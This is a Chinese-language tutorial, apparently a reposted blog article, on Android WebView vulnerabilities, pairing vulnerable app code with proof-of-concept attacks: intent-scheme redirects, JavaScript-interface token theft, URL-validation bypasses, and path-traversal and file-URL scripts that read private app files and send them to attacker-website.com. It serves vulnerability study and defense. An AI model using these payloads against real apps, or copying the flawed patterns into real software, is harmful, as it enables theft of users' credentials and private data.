漏洞学习|Android WebView漏洞

admin 2023年8月17日15:56:53评论69 views字数 9775阅读32分35秒阅读模式

-011-


# Android WebView漏洞

WebView是显示网页的View。WebView 对象将 Web 内容显示为活动布局的一部分,但缺少一些正常浏览器的一些功能

0x00 访问任意组件

Intent类允许开发使用toUri(flags)方法将意图转换为包含其 URI 表示形式的字符串,并使用parseUri(stringUri, flags)方法从此 URI 创建Intent。应用程序可以使用它来将带有方案的 URL 解析为Intent,并在 WebView 中处理 URL 时启动活动。如果处理未正确实现,您可以访问应用程序的任意组件。

开发人员可以重写WebViewClient 类的shouldOverrideUrlLoading()方法来处理在 WebView 中加载新链接的所有工作。错误处理的示例如下所示:

受害者应用:

public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
  Uri uri = request.getUrl();
  if ("intent".equals(uri.getScheme())) {
      startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
      return true;
  }
  return super.shouldOverrideUrlLoading(view, request);
}

受害者Activity:

// AuthWebViewActivity
webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());

以上代码为 URL 添加了一个自定义处理程序,其intent方案使用传递的 URL 启动新活动。您可以通过创建 WebView 并将其重定向到特制的intent-schemeURL 来利用此错误进行攻击:

攻击者代码如下:

// Intent-scheme URL creation
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://attacker-website.com/");
String url = intent.toUri(Intent.URI_INTENT_SCHEME);
// "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fattacker-website.com%2F;end"
Log.d("d", url);

或者使用js代码进行重定向启动:

// Redirect within WebView
location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fattacker-website.com%2F;end";

但是,有几个限制:

  • 嵌入的 IntentParcelableSerializable对象无法转换为字符串,这些对象将被忽略。

  • Intent.parseUri (stringUri, flags)默认忽略Intent.FLAG_GRANT_READ_URI_PERMISSION和Intent.FLAG_GRANT_WRITE_URI_PERMISSION标志。仅当设置了Intent.URI_ALLOW_UNSAFE标志时,解析器才会保留它们。

    startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))

参考:

  • 白皮书– 通过意图方案URL

    https://www.mbsd.jp/Whitepaper/IntentScheme.pdf


0x01 添加Javascript接口

addJavascriptInterface方法将提供的 Java 对象注入到此 WebView 中。使用提供的名称将该对象注入到网页的所有框架。iframes允许从 JavaScript 访问 Java 对象的方法(无法访问 Java 对象的字段)。

根据泄露的javascript的接口具体实现,可以进行不同攻击。

该方法可以向 JavaScript 提供数据,甚至允许 JavaScript 控制主机应用程序。例如,以下接口正在泄漏用户令牌:getToken()方法

public class DefaultJavascriptInterface {
  Context context;

  public DefaultJavascriptInterface(Context c) {
      this.context = c;
  }

  @JavascriptInterface
  public getToken() {
      SharedPreferences sharedPref = context.getSharedPreferences(getString(
          R.string.preference_file_key),
          Context.MODE_PRIVATE
      );
      return sharedPref.getString(getString(R.string.token_key), "")
  }
}
public class DefaultActivity extends Activity {
  // ...

  public void loadWebView() {
      WebView webView = (WebView)findViewById(R.id.web_view);
      webView.getSettings().setJavaScriptEnabled(true);
      webView.addJavascriptInterface(new DefaultJavascriptInterface(this), "DefaultJavascriptInterface")
      // ...
  }
}

攻击代码:

<script>
  alert("Token: " + DefaultJavascriptInterface.getToken());
</script>

其他示例

受害者代码:

首先需要设置Javascript

mWebView.addJavascriptInterface(new com.grab.pax.support.ZendeskSupportActivity.WebAppInterface(this), "Android");

然后Java的具体实现

@android.webkit.JavascriptInterface
public final java.lang.String getGrabUser() {
          //...
          return com.grab.base.p167l.GsonUtils.m7210a(zendeskSupportActivity.getMPresenter().getGrabUser());
      }

攻击者代码:

<!DOCTYPE html>
<html>
<head><title>Page 1</title></head>
<body style="text-align: center;">
  <h1><a href="grab://open?screenType=HELPCENTER&amp;page=https://s3.amazonaws.com/edited/page2.html">Begin attack!</a></h1>
</body>
</html>

page2.html

<!DOCTYPE html>
<html>
<head><title>Page 2</title></head>
<body style="text-align: center;">
  <script type="text/javascript">
      var data;
      if(window.Android) { // Android
          data = window.Android.getGrabUser();
      }
      if(data) {
          document.write("Stolen data: " + data);
      }
  </script>
</body>
</html>

以上代码可以获取泄露的getGrabUser数据

参考:

  • :【抢Android/iOS】不安全的深层链接导致敏感信息

    https://hackerone.com/reports/401793

0x02 绕过URL验证

1.滥用反射

android.net.Uri是一个抽象类,具有一些内部子类,允许您使用android.net.Uri$HierarchicalUri.

假设应用程序实现以下验证:

受害者类:

// AuthWebViewActivity 
Uri uri = getIntent().getData();
boolean isOurDomain =
  "https".equals(uri.getScheme())
  && uri.getUserInfo() == null
  && "legitimate.com".equals(uri.getHost());
if (isOurDomain) {
  webView.load(uri.toString(), getAuthHeaders());
}

在这种情况下,您可以构建一个将通过验证的 URL,但调用uri.toString()将返回攻击者的网站:

攻击者代码:

Uri uri;
try {
  Class partClass = Class.forName("android.net.Uri$Part");
  Constructor partConstructor = partClass.getDeclaredConstructors()[0];
  partConstructor.setAccessible(true);

  Class pathPartClass = Class.forName("android.net.Uri$PathPart");
  Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];
  pathPartConstructor.setAccessible(true);

  Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri");
  Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];
  hierarchicalUriConstructor.setAccessible(true);

  Object authority = partConstructor.newInstance("legitimate.com", "legitimate.com");
  Object path = pathPartConstructor.newInstance("@attacker-website.com", "@attacker-website.com");
  uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null);
  // uri.getScheme()   == https
  // uri.getUserInfo() == null
  // uri.getHost()     == legitimate.com
  // uri.toString()   == https://[email protected]
}
catch (Exception e) {
  throw new RuntimeException(e);
}

Intent intent = new Intent();
intent.setData(uri);
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
startActivity(intent);

上面基于反射最终实现的效果类似与URL跳转漏洞的常见绕过方式形如:https://[email protected],  即通过特殊符号@进行验证绕过。

2.parse异常

android.net.Uri无法识别权限部分中的反斜杠(但会引发异常),这允许您绕过 URL 验证。例如,易受攻击的代码可能如下所示:java.net.URI

Uri uri = Uri.parse(attackerControlledString);
if ("legitimate.com".equals(uri.getHost()) || uri.getHost().endsWith(".legitimate.com")) {
  webView.loadUrl(attackerControlledString, getAuthorizationHeaders());
  // or
  // webView.loadUrl(uri.toString());
}

在这种情况下,可以使用反斜杠绕过限制:

String url = "http://attacker-website.com\\@legitimate.com/path";
String host = Uri.parse(url).getHost();
// The "host" variable contains the "legitimate.com" value
Log.d("d", host);
// WebView loads the attacker-website.com
webView.loadUrl(url, getAuthorizationHeaders());

3.缺少scheme验证

如果应用程序不验证scheme值(但可能验证host值),您可以尝试使用javascriptfileschemas URL 来绕过:

javascript://legitimate.com/%0aalert(1)//

file://legitimate.com/sdcard/payload.html


0x03 设置WebContentsDebuging Enabled

setWebContentsDebuggingEnabled可以调试加载到应用程序的任何 WebView 中的 Web 内容 (HTML/CSS/JavaScript)。使用此标志是为了促进 Web 布局和 WebView 内运行的 JavaScript 代码的调试。

WebContentsDebugging不受application manifest中debuggable标志状态的影响。

启用此标志允许您在应用程序的任何 WebView 中执行任意 JavaScript 代码。

参考:

  • 远程调试WebView

    https://developer.chrome.com/docs/devtools/remote-debugging/webviews/

LINKS

:Android 访问应用程序受保护的组件

https://blog.oversecured.com/Android-Access-to-app-protected-components/

Android 应用中绕过主机验证的黄金技术

https://hackerone.com/reports/431002

WebView 漏洞

https://0xn3va.gitbook.io/cheat-sheets/android-application/webview-vulnerabilities


# WebResourceResponse 漏洞

0x00 WebResourceResponse概述

WebResourceResponse是一个类,允许 Android 应用程序通过拦截请求并从应用程序代码本身返回任意内容(包括状态代码、内容类型、内容编码、标头和响应正文)来模拟 WebView 中的服务器,而无需执行任何实际操作向服务器发出请求。

0x01安全问题

1.访问任意文件

如果您控制返回文件的路径并具有 XSS 或能够在 WebView 内打开任意链接,则可以通过 XHR 请求访问任意文件。

例如,如果有下面的WebResourceResponse实现:

WebView webView = findViewById(R.id.webView);
webView.setWebViewClient(new WebViewClient() {
  public WebResourceResponse shouldInterceptRequest(WebView view, WebResourceRequest request) {
      Uri uri = request.getUrl();
      if (uri.getPath().startsWith("/local_cache/")) {
          File cacheFile = new File(getCacheDir(), uri.getLastPathSegment());
          if (cacheFile.exists()) {
              InputStream inputStream;
              try {
                  inputStream = new FileInputStream(cacheFile);
              } catch (IOException e) {
                  return null;
              }
              Map<String, String> headers = new HashMap<>();
              headers.put("Access-Control-Allow-Origin", "*");
              return new WebResourceResponse("text/html", "utf-8", 200, "OK", headers, inputStream);
          }
      }
      return super.shouldInterceptRequest(view, request);
  }
});

攻击的 PoC 可能如下所示:

<!DOCTYPE html>
<html>
<head>
  <title>Evil page</title>
</head>
<body>
<script type="text/javascript">
  function theftFile(path, callback) {
    var oReq = new XMLHttpRequest();

    oReq.open("GET", "https://any.domain/local_cache/..%2F" + encodeURIComponent(path), true);
    oReq.onload = function(e) {
      callback(oReq.responseText);
    }
    oReq.onerror = function(e) {
      callback(null);
    }
    oReq.send();
  }

  theftFile("shared_prefs/auth.xml", function(contents) {
      location.href = "https://attacker-website.com/?data=" + encodeURIComponent(contents);
  });
</script>
</body>
</html>

在上面的示例中,攻击是可能的,因为Uri.getLastPathSegment()返回一个解码值,该值用于生成行内的文件路径new File(getCacheDir(), uri.getLastPathSegment())

像 CORS 这样的策略仍然在 WebView 中起作用。因此,any.domain如果没有标头,则不允许向 发送请求Access-Control-Allow-Origin: *。但是,此限制不会影响此 PoC,因为WebResourceResponse实施检查仅使用 URL 路径,并且您可以替换any.domain为当前源。

参考:

  • :亚马逊购物和亚马逊印度在线购物应用程序:访问亚马逊

    https://blog.oversecured.com/Android-Exploring-vulnerabilities-in-WebResourceResponse/#an-overview-of-the-vulnerability-in-amazon’s-apps

LINKS

Android :探索WebResourceResponse

https://blog.oversecured.com/Android-Exploring-vulnerabilities-in-WebResourceResponse/

Web资源响应漏洞

https://0xn3va.gitbook.io/cheat-sheets/android-application/webview-vulnerabilities/web-resource-response-vulnerabilities

# WebSettings 漏洞

0x00 WebSettings概述

WebSettings管理 WebView 的设置状态。首次创建 WebView 时,它会获得一组默认设置。从WebView#getSettings()获取的 WebSettings 对象与 WebView 的生命周期相关。

0x02 安全问题

setAllowUniversalAccessFromFileURLs

s

setAllowUniversalAccessFromFileURLs设置是否允许文件方案 URL 上下文中的跨源请求访问来自任何源的内容。这包括从其他文件方案 URL 或 Web 上下文访问内容。默认值是false从 Android 4.1 开始。

此方法在 API 级别 30 中已弃用

启用此设置允许在上下文中加载恶意脚本file://来发起跨站点脚本攻击,访问任意本地文件,包括 WebView cookie、应用程序私有数据,甚至是任意网站上使用的凭据。

例如,如果应用程序允许您在 WebView 中打开任意链接,您可以传递包含以下内容的共享 html 文件的路径来窃取私有文件:

<!-- file:///sdcard/index.html -->
<script>
  var url = 'file:///data/data/com.victim.app/internal_folder/private_file.txt';
  var xhr = new XMLHttpRequest();
  xhr.onreadystatechange = function() {
      if (xhr.readyState === 4) {
          fetch('https://attacker-website.com/?content=' + btoa(xhr.responseText));
      }
  }
  xhr.open('GET', url, true);
  xhr.send('');
</script>

LINKS

Web设置漏洞

https://0xn3va.gitbook.io/cheat-sheets/android-application/webview-vulnerabilities/web-settings


---

#END#


漏洞学习|Android WebView漏洞


原文始发于微信公众号(一盅清茶):漏洞学习|Android WebView漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月17日15:56:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞学习|Android WebView漏洞https://cn-sec.com/archives/1961780.html

发表评论

匿名网友 填写信息